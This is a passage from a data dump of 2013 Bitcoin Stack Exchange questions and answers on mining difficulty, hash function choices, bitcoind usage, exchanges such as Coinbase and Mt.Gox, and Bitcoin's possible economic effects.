  <row Id="16536" PostTypeId="2" ParentId="16526" CreationDate="2013-11-10T22:06:46.450" Score="2" Body="&lt;p&gt;The target, which the difficulty is derived from, determines how hard hashing should be so that one block is found every 10 minutes, on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 30% increase in difficulty means the network was finding blocks 30% too fast over the last 2015 blocks so as a result, your profits (assuming no other miners join or leave the network) will be about 23% (1 - 100/130) less.  For example, 1 GH/s nets about 0.00098431 a day at the current difficulty.  With an increase of 30%, this would mean about 0.00075716 per day,  0.00098431/0.00075716 is about 130%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with all the mining equipment being added between blocks, it's likely you'll make a lot less.&lt;/p&gt;&#xA;" OwnerUserId="8667" LastEditorUserId="8667" LastEditDate="2013-11-14T03:41:47.443" LastActivityDate="2013-11-14T03:41:47.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16537" PostTypeId="2" ParentId="16522" CreationDate="2013-11-10T22:13:28.990" Score="3" Body="&lt;p&gt;Pooled mining lowers the difficulty that it reports to miners and the results are submitted as proof of work to the pool, so they can pay you.  Only a small portion of submitted shares are valid solutions to an actual block.  &lt;/p&gt;&#xA;" OwnerUserId="8667" LastActivityDate="2013-11-10T22:13:28.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16539" PostTypeId="2" ParentId="16530" CreationDate="2013-11-10T23:19:06.337" Score="1" Body="&lt;p&gt;I solved the problem, I was reading the Nonce from the block as a 64 bit integer like in the version message instead of a 32 bit integer.&lt;/p&gt;&#xA;" OwnerUserId="8662" LastActivityDate="2013-11-10T23:19:06.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16540" PostTypeId="2" ParentId="16527" CreationDate="2013-11-11T00:34:42.880" Score="4" Body="&lt;p&gt;Version 0.8 of the reference client changed the database format completely, in order to scale better. That meant a one-time rebuild that everyone had to go through, as converting the old database would have been error-prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that change, the transaction index was made optional, and off by default. This is because for normal operation (verifying and processing blocks and transactions, and maintaining a wallet), such an index is not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An option &lt;code&gt;-txindex&lt;/code&gt; (or txindex=1 in bitcoin.conf) was introduced to re-enable this transaction index (which is necessary for the &lt;code&gt;getrawtransaction&lt;/code&gt; RPC call). It has to be specified when the database is created though, so at first run of a post-0.8 version, or when explicitly rebuilding the index (with &lt;code&gt;-reindex&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This type of database format change is not expected to happen frequently.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-11-11T00:34:42.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16541" PostTypeId="2" ParentId="12952" CreationDate="2013-11-11T00:39:13.117" Score="1" Body="&lt;p&gt;I had this same problem and I found these two posts &lt;a href=&quot;https://bitcointalk.org/index.php?topic=233943.0&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=291570.msg3121362#msg3121362&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt; very helpful. What ended up working for me was going to preferences &gt; Network, and turning off the SOCKS proxy, and then restarting the program. After that the network started to synchronize. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-11T00:39:13.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16542" PostTypeId="1" CreationDate="2013-11-11T01:18:55.457" Score="1" ViewCount="4220" Body="&lt;p&gt;On coinbase.com I tried to sell some bitcoins and was told I had to register a bank account.  I'd have expected that only if I were trying to &lt;em&gt;withdraw&lt;/em&gt; dollars, euros, etc., from coinbase.  On mtgox one can sell bitcoins and have dollars in one's account.  Is that impossible on coinbase?  If so, how long does it take to move dollars to coinbase from a bank account and buy bitcoins?  If the price of a bitcoin goes up to what looks like an absurdly high price and I suspect it's a bubble that will burst, I might want to sell bitcoins and then 12 hours later, buy more at a lower price.  But if it takes a few days to get money back and forth between coinbase and a bank account, and it that must be done in order to do such trading, then coinbase is not the place to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what can and cannot be done there?&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="208" LastEditDate="2013-11-11T19:35:31.707" LastActivityDate="2017-03-13T18:45:43.593" Title="Can trading be done on coinbase.com?" Tags="|trading|banks|coinbase.com|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16543" PostTypeId="1" CreationDate="2013-11-11T01:37:17.903" Score="6" ViewCount="5674" Body="&lt;p&gt;Bitcoin uses both SHA-256 and RIPEMD-160 hashes. Most often a double-round SHA-256 is used, but for address generating, RIPEMD-160 is used because it generates a shorter hash value. RIPEMD-160 has a 160-bit or 20-byte hash value while SHA-256 has a 256-bit or 32-byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So RIPEMD-160 is used for it's shorter hash. However, SHA-1 also produces a 160-bit hash. RIPEMD-160 is a less popular algorithm but in fact achieves exactly the same as SHA-1 does.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real difference I can find on the internet is in the following fragment from &lt;a href=&quot;https://en.wikipedia.org/wiki/RIPEMD-160&quot; rel=&quot;noreferrer&quot;&gt;RIPEMD-160's Wikipedia page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RIPEMD-160 was designed in the open academic community, in contrast to&#xA;  the NSA designed SHA-1 and SHA-2 algorithms. On the other hand,&#xA;  RIPEMD-160 appears to be used somewhat less frequently than SHA-1,&#xA;  which may have caused it to be less scrutinized than SHA. RIPEMD-160&#xA;  is not known to be constrained by any patents.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are patent issues the reason? Why is SHA-1 a problem but SHA-256 not? I know that SHA-1 and SHA-2 (of which SHA-256 is a part) are different iterations of the SHA initiative and so probably have very different legal implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone really knows why RIPEMD-160 was chosen before the more popular SHA-1?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-11-11T23:31:25.113" Title="Why was the RIPEMD-160 hash algorithms chosen before SHA-1?" Tags="|hash|sha256|ripemd160|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16545" PostTypeId="2" ParentId="16543" CreationDate="2013-11-11T08:47:49.507" Score="2" Body="&lt;p&gt;It could be due to &lt;a href=&quot;https://en.wikipedia.org/wiki/Sha-1#Comparison_of_SHA_functions&quot; rel=&quot;nofollow&quot;&gt;a theoretical 2^60 bit attack that is possible on SHA-1&lt;/a&gt;, meaning that the algorithm is weaker than designed. RIPEMD does not appear to have such weaknesses. &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-11-11T08:47:49.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16546" PostTypeId="1" CreationDate="2013-11-11T08:58:29.280" Score="3" ViewCount="239" Body="&lt;p&gt;Could someone guess on the most likely current Bitcoin ownership distribution? Are most bitcoins still owned by (early?) mining enthusiasts who are waiting for the price to go even higher?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2016-04-28T13:53:00.747" LastActivityDate="2016-04-28T13:53:00.747" Title="Is it possible to determine Bitcoin ownership distribution?" Tags="|mining-reward|history|market|wealth-distribution|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16547" PostTypeId="2" ParentId="16534" CreationDate="2013-11-11T09:19:40.520" Score="1" Body="&lt;p&gt;The transactions for your coins are stored on the blockchain.&#xA;What MultiBit has is the private keys that control whether you can spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do a reset blockchain MultiBit resyncs to what is on the blockchain and shows you the transactions it finds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always export you private keys and pull them into blockchain.info if you want - there is a help topic specifically for this.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-11-11T09:19:40.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16548" PostTypeId="2" ParentId="16526" CreationDate="2013-11-11T12:22:37.123" Score="4" Body="&lt;p&gt;Your profit relates to the amount of hashing power you contribute to the network. Since your mining power is constant, your share of the total hashing power decreases relatively when the network's hashing power increases. I.e. we can deduce the following formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;newProfit = currentProfit * currentDiff/newDiff&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a currentProfit of 1BTC/d and a 30% increase in difficulty, you get: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(1BTC/d)*100/(100+30)= (1BTC/d)/1.3 = 0.76923077 BTC/d&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. your profit decreases by ~23%.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-11-12T22:08:52.920" LastActivityDate="2013-11-12T22:08:52.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16549" PostTypeId="2" ParentId="16543" CreationDate="2013-11-11T12:37:32.490" Score="4" Body="&lt;p&gt;There are a multitude of reasons.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;As @ThePiachu mentioned, there is &lt;a href=&quot;https://en.wikipedia.org/wiki/Sha-1#Comparison_of_SHA_functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;a theoretical 2^60 bit attack that is possible on SHA-1&lt;/a&gt;, meaning that the algorithm is weaker than designed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RIPEMD-160 was designed in the open academic community, in contrast to the NSA designed SHA-1 and SHA-2 algorithms.&lt;/p&gt;&#xA;&lt;p&gt;It is worth noting that Satoshi could've used SHA2-256 twice and truncated the second digest to 160 bits as this is &lt;a href=&quot;https://crypto.stackexchange.com/questions/3153/sha-256-vs-any-256-bits-of-sha-512-which-is-more-secure&quot;&gt;equally secure&lt;/a&gt;. The fact that he didn't is some evidence to show that his decision was a conscious decision to use RIPEMD-160 over the NSA suit of algorithms.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lastly, I believe RIPEMD is based on a different design to the SHA1/SHA2 algorithms, and thus attacks that apply to one may not be transferable to the other (which is good).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1732" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-11-11T23:31:25.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16551" PostTypeId="1" AcceptedAnswerId="16566" CreationDate="2013-11-11T14:04:43.413" Score="0" ViewCount="345" Body="&lt;p&gt;There seems to be a new &lt;a href=&quot;http://legacy.satoshidice.com/&quot; rel=&quot;nofollow&quot;&gt;SatoshiDice&lt;/a&gt; clone called &lt;a href=&quot;http://www.betcoindice.tm/&quot; rel=&quot;nofollow&quot;&gt;BetCoinDice&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is the same, except the expected return for the player is higher since the house percent is lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, is it true that it doesn't make sense to use SatoshiDice any more?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2013-11-11T22:42:32.023" Title="Why will anyone still play SatoshiDice?" Tags="|satoshidice|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16552" PostTypeId="2" ParentId="13890" CreationDate="2013-11-11T14:49:25.317" Score="0" Body="&lt;p&gt;I think the OP question boils down to two points: (1) supply of bitcoin is limited, and, (2) centralization of bitcoin transactions will be needed due to technological constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is a false problem because: (1) supply of gold is limited, and that has not hurt the price of gold, and, (2) centralization of bitcoin transactions is a security problem, not a existential problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real secret to bitcoin's success will be the continued acceptance of bitcoin by the populace as an alternative store of wealth.  You can just as easily use giant circular boulders, or clam shells, like certain aboriginal and seafaring peoples did.  As a corollary, the ability to convert bitcoin to dollars or some other store of value is required. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But another way:  if somebody wants to pay you for something in gold, rather than paper fiat money, and willing to pay a premium, you would simply look up the price of gold to the fiat, add a premium for the hassle, and then sell him the good.  Then you would convert the gold to fiat currency and be a happy person.  Why should bitcoin be any different? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fly in this ointment of continued bitcoin success is not a non-post growth economy or centralized bitcoin depositories but something like if governments world-wide decide bitcoins are being used to thwart the 'war on drugs' effort and they decide, collectively in some G-7 etc meeting, to crack down on bitcoin and outlaw it.  At the moment this looks very unlikely. But it happened in the Great Depression with gold (in the USA) and I suppose it could happen today.&lt;/p&gt;&#xA;" OwnerUserId="8682" LastActivityDate="2013-11-11T14:49:25.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16553" PostTypeId="1" AcceptedAnswerId="17166" CreationDate="2013-11-11T15:24:34.017" Score="0" ViewCount="953" Body="&lt;p&gt;I have one of the Casascius coins (&lt;a href=&quot;http://casascius.uberbills.com/?address=12eBtPjc7nwaWF66W1Wo3DAAGQtx9F8vxn&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;, to be exact) that contains an error: the small lettering on the hologram reads &quot;Casacius&quot;, without the second 's'. I'm a inexperienced when it comes to all things bitcoin, as well as all things collectable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that one can sell these coins for a premium over their BTC value. Where can I put the coin up for sale relatively safely? I'm willing to sacrifice getting the highest possible price in order not to get scammed.&lt;/p&gt;&#xA;" OwnerUserId="8683" LastActivityDate="2013-11-23T19:53:30.107" Title="Where can I safely sell a Casascius version 1 physical bitcoin (with hologram error) for cash?" Tags="|physical-coins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16554" PostTypeId="1" CreationDate="2013-11-11T15:51:37.397" Score="3" ViewCount="89" Body="&lt;p&gt;Taking &lt;a href=&quot;http://blockexplorer.com/block/0000000000000008587994eb3ea1ded2fe797e5f0b5b8c806309055e223645fd&quot; rel=&quot;nofollow&quot;&gt;a sample block on blockexplorer&lt;/a&gt;, I see that the generation reward is split between lots of recipients, I figure this is the pool that solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But looking at other transactions, there a few with over 100 'From' addresses, and a single 'To' address. The only reason I could think of, is merging many wallets into one. Since I see this in every block I am looking at, I wonder if there's another use-case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8684" LastActivityDate="2013-11-13T18:46:35.643" Title="In which cases do transactions have multiple &quot;from-account&quot; but a single &quot;to-account&quot;?" Tags="|transactions|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16556" PostTypeId="2" ParentId="14188" CreationDate="2013-11-11T16:43:10.557" Score="0" Body="&lt;p&gt;Sell them to someone who wants the experience of mining but doesn't have much of a budget for the hardware.   These are easy to package up and cheap to ship so this is a valid and worthy endeavor.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-11-11T16:43:10.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16557" PostTypeId="2" ParentId="16542" CreationDate="2013-11-11T17:32:07.110" Score="2" Body="&lt;p&gt;Coinbase unlike Mt.Gox is not a bitcoin exchange, it is a bitcoin wallet with the option of buying or selling bitcoins using a US bank account. You can store bitcoins on the site but not USD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is primarily done for legal reasons. When you allow people to trade currency with each other instead of just being a currency dealer you open yourself up to a whole world of regulatory problems. Namely people would have to be extensively verified and new anti money laundering systems would have to be put in place to comply with &lt;a href=&quot;http://www.fincen.gov/news_room/nr/html/20120206.html&quot; rel=&quot;nofollow&quot;&gt;FinCEN&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-11-18T18:51:55.503" LastActivityDate="2013-11-18T18:51:55.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16558" PostTypeId="1" AcceptedAnswerId="16560" CreationDate="2013-11-11T18:14:06.047" Score="4" ViewCount="3724" Body="&lt;p&gt;I just installed the bitcoind daemon on my ubuntu, but i was wondering what are some of the most commonly used commands for bitcoind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is there a cheatsheet for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-02-21T06:04:10.733" Title="What are some commonly used commands for Bitcoind shell command line?" Tags="|bitcoind|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16559" PostTypeId="1" AcceptedAnswerId="16571" CreationDate="2013-11-11T18:34:15.897" Score="1" ViewCount="4429" Body="&lt;p&gt;I installed bitcoind on my ubuntu server awhile ago. How do I go about uninstalling it properly? Do i just delete the ~/.bitcoin folder?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2017-10-10T21:07:50.477" Title="How to uninstall Bitcoind from ubuntu server?" Tags="|bitcoind|linux|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16560" PostTypeId="2" ParentId="16558" CreationDate="2013-11-11T18:57:49.043" Score="4" Body="&lt;p&gt;To find the list of most common commands type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for a list of all commands refer to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;bitcoin client API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="2306" LastEditDate="2015-02-21T06:04:10.733" LastActivityDate="2015-02-21T06:04:10.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16561" PostTypeId="2" ParentId="16559" CreationDate="2013-11-11T19:31:01.470" Score="0" Body="&lt;p&gt;That will remove your &lt;code&gt;wallet.dat&lt;/code&gt;, &lt;code&gt;bitcoin.conf&lt;/code&gt; and all the &lt;code&gt;blockchain&lt;/code&gt; info, but you will also want to remove the &lt;code&gt;bitcoin&lt;/code&gt; directory which was also downloaded and if you added &lt;code&gt;bitcoind&lt;/code&gt; to your path you'l want to remove that as well. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-11T19:31:01.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16563" PostTypeId="1" CreationDate="2013-11-11T19:56:04.077" Score="2" ViewCount="1342" Body="&lt;p&gt;I have an ASIC Jalapeño Bitcoin Miner. It mines consistently at around 5000 GH/s. I have been mining using the BitMinter Miner and BitMinter Pool just because it is easy to setup and get running quickly and that's what I wanted to do upon receiving my Jalapeño. However, I now wish to maximize my mining profits. I have read lots about mining etc and I have seen a lot about multi mining. I found a pool called MultiPool and made an account. However, I am unsure how to get mining on the pool now. I have an iMac that I will be running the Jalapeño from. I want a simple, stable, and reliable mining program. But all my attempts to download CGMiner for Mac have failed. How can I get mining on Multipool with my Jalapeño?&lt;/p&gt;&#xA;" OwnerUserId="8691" LastEditorUserId="5406" LastEditDate="2016-04-17T20:45:45.210" LastActivityDate="2016-04-17T20:45:45.210" Title="Jalapeño Multipool Setup on OS X" Tags="|mining-pools|miner-configuration|mac|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16564" PostTypeId="1" AcceptedAnswerId="16568" CreationDate="2013-11-11T20:27:25.557" Score="0" ViewCount="1404" Body="&lt;p&gt;I'm curious as to what is keeping the majority of the people from buying on one exchange, where the going USD/BTC rare is cheaper, and selling it on another, where the rate can be &lt;a href=&quot;http://bitcoincharts.com/markets/currency/USD.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;USD$50 to USD$100 higher&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably people doing that already. But since opening up accounts in multiple exchanges is no feat, why isn't a much larger portion of active traders doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS: I understand the answer MAY be speculative, thus not suitable for SE. At the same time, the answer might NOT be speculative - there might be a solid reason behind it. So I'm here to learn. Please vote for closure if you see fit, but do not downvote, given that I am aware of what &lt;a href=&quot;https://bitcoin.stackexchange.com/help/on-topic&quot;&gt;kind of questions should be asked here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3381" LastEditorUserId="5406" LastEditDate="2017-07-02T23:09:51.833" LastActivityDate="2017-07-02T23:09:51.833" Title="Buying on one exchange then selling on the other" Tags="|exchanges|exchange-rate|arbitrage|speculation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16566" PostTypeId="2" ParentId="16551" CreationDate="2013-11-11T22:42:32.023" Score="1" Body="&lt;p&gt;Gamblers will pay a premium to play on a trusted, reputable site that has a long history of not defrauding its customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As noted by LocalBitcoins, Betcoin is accused of shady behavior, including lying about their trademark, failing to correctly use a provably fair system, playing on their own site to inflate volume, and DDoSing competitors. Source: &lt;a href=&quot;http://bitcoinmagazine.com/7659/betcoin-tm-allegedly-fraudulent-activity/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmagazine.com/7659/betcoin-tm-allegedly-fraudulent-activity/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-11T22:42:32.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16567" PostTypeId="2" ParentId="15490" CreationDate="2013-11-11T22:48:49.017" Score="3" Body="&lt;p&gt;This is a great question and it's something I spend a lot of time thinking about. In general, I'd say no one really knows at this point and it is difficult to make more than a few guesses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let me have a try at that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Banks would lose much of their ability to control the monetary supply, interest rates and exchange rate.&lt;/li&gt;&#xA;&lt;li&gt;The financial sector would shrink and become less profitable. Probably a good thing.&lt;/li&gt;&#xA;&lt;li&gt;It would become more difficult for the government to collect taxes.&lt;/li&gt;&#xA;&lt;li&gt;Loans would be taken out more rarely.&lt;/li&gt;&#xA;&lt;li&gt;Leverage would mostly disappear from the financial system.&lt;/li&gt;&#xA;&lt;li&gt;Economic and financial transaction would not be restricted by national borders.&lt;/li&gt;&#xA;&lt;li&gt;Individuals would gain more control over their own finances and money.&lt;/li&gt;&#xA;&lt;li&gt;Governments would lose the ability to finance their expenses through increased debt. They'd have to run more or less balanced budgets instead.&lt;/li&gt;&#xA;&lt;li&gt;There would be enormous redistributions of wealth as the shift to bitcoin occurs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are some of the things that come to my mind, but this list could be continued for a long time. I think it's save to say that these would be revolutionary changes and we would end up with a radically different world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this actually happen? I don't know but I think it's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the changes overall be positive? Impossible to know, but I'm optimistic.&lt;/p&gt;&#xA;" OwnerUserId="7036" LastActivityDate="2013-11-11T22:48:49.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16568" PostTypeId="2" ParentId="16564" CreationDate="2013-11-11T23:09:10.893" Score="2" Body="&lt;p&gt;Well for one, it's almost impossible to get money off of Mt.Gox. (I had a wire transfer pending for 3 months and finally decided to just cancel it and take the loss.) Some bitcoin exchanges refuse to do business with the US (btc-e) and some only do business with the US (coinbase). Bank transfers are not cheep and the exchanges take a somewhat large fee for moving money onto and off of their exchange (~1% each way.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But some people do make money like this. You will find though, if you actually do the math for all the transfers and fees and what not that you would only be making a small margin and that only sometimes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's absolutely doable but you need to be doing it at scale and with good and fast programs managing your assets to really make a profit at it. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-11-12T01:16:50.890" LastActivityDate="2013-11-12T01:16:50.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16570" PostTypeId="2" ParentId="16546" CreationDate="2013-11-12T01:13:59.787" Score="1" Body="&lt;p&gt;No, it's not &lt;em&gt;definitively&lt;/em&gt; possible to determine ownership of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be possible to identify miner reward addresses that are inactively used, but accumulated regularly at one point. Search for addresses with a large balance, the outputs of which have never been spent or have a large amount of unspent outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;may&lt;/em&gt; be possible to find patterns in early mining, up until pooled mining came into existence. Search for blocks relayed by the same IP address, but at irregular intervals. This &lt;em&gt;may&lt;/em&gt; indicate solo miners who &quot;tried it out&quot; but lost their keys or are in fact sitting on their wallets. This may only be possible through Blockchain.info's records, because the relay address is not preserved in the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-12T01:13:59.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16571" PostTypeId="2" ParentId="16559" CreationDate="2013-11-12T01:15:17.760" Score="2" Body="&lt;p&gt;If you installed with a &lt;code&gt;deb&lt;/code&gt; package, you can use apt-get to remove it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get remove bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-12T01:15:17.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16572" PostTypeId="2" ParentId="15490" CreationDate="2013-11-12T02:31:30.833" Score="4" Body="&lt;p&gt;I like this question&lt;sup&gt;1&lt;/sup&gt; - we don't get many big picture questions. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How could Bitcoin change the world?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A mature digital cryptocurrency could &lt;a href=&quot;http://en.wikipedia.org/wiki/International_trade&quot; rel=&quot;nofollow noreferrer&quot;&gt;reduce trade barriers&lt;/a&gt; and thus&#xA;increase the rate of productivity dispersion throughout society. As&#xA;money is a form of fungible authenticated information&lt;sup&gt;2&lt;/sup&gt;, &#xA;non-proprietary digital money gets to take advantage of the &#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Information_Age&quot; rel=&quot;nofollow noreferrer&quot;&gt;information age&lt;/a&gt; to rapidly democratise trade with lower &#xA;transactional friction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It could encourage governments to move towards a more rational global&#xA;currency or currency basket for sovereign wealth reserves, trade&#xA;imbalances and protection from commodity price shocks. In effect the&#xA;phenomena of democratised digital currencies, if not Bitcoin&#xA;specifically, could accelerate global cooperation and democracy in&#xA;macroeconomic practices badly in need of an overhaul.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It could provide an excellent educational opportunity for teaching&#xA;and learning macroeconomics. As the cryptocurrencies are moving&#xA;though the stages of currency development so fast as to eliminate&#xA;most of the confounding factors of studying more mature currencies&#xA;that evolved over several centuries of political and socio-economic&#xA;change.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It could enrich a very small minority of early adopters. Depending on&#xA;what these early adopters do with their new found wealth, they could&#xA;bootstrap other social improvements.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It will probably not result in increased (effective) tax evasion due&#xA;to the wide range of levers available to collect tax revenue.&#xA;Although an increased &lt;a href=&quot;http://en.wikipedia.org/wiki/Informal_economy&quot; rel=&quot;nofollow noreferrer&quot;&gt;informal sector&lt;/a&gt; may result in governments&#xA;shifting towards regressive taxation such as consumption taxes to&#xA;offset the evasion of progressive taxation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It will probably not result in a cap on the &lt;a href=&quot;http://en.wikipedia.org/wiki/Money_supply&quot; rel=&quot;nofollow noreferrer&quot;&gt;money supply&lt;/a&gt; due to the&#xA;ability to establish fractional reserve banking on top on any specie&#xA;currency if legally permitted. Off-block chain Bitcoin clearing&#xA;houses &lt;a href=&quot;http://tvtropes.org/pmwiki/pmwiki.php/Main/MeetTheNewBoss&quot; rel=&quot;nofollow noreferrer&quot;&gt;may evolve&lt;/a&gt; into fractional reserve banks to avoid on-block&#xA;chain costs. In either case, it will not provide an economic solution&#xA;to a political problem (deficit spending).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It will not create a libertarian or objectivist paradise. Such a&#xA;shift in socio-economic paradigm will require both economic and&#xA;social consensus. Cyptocurrencies can provide an economic consensus&#xA;only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  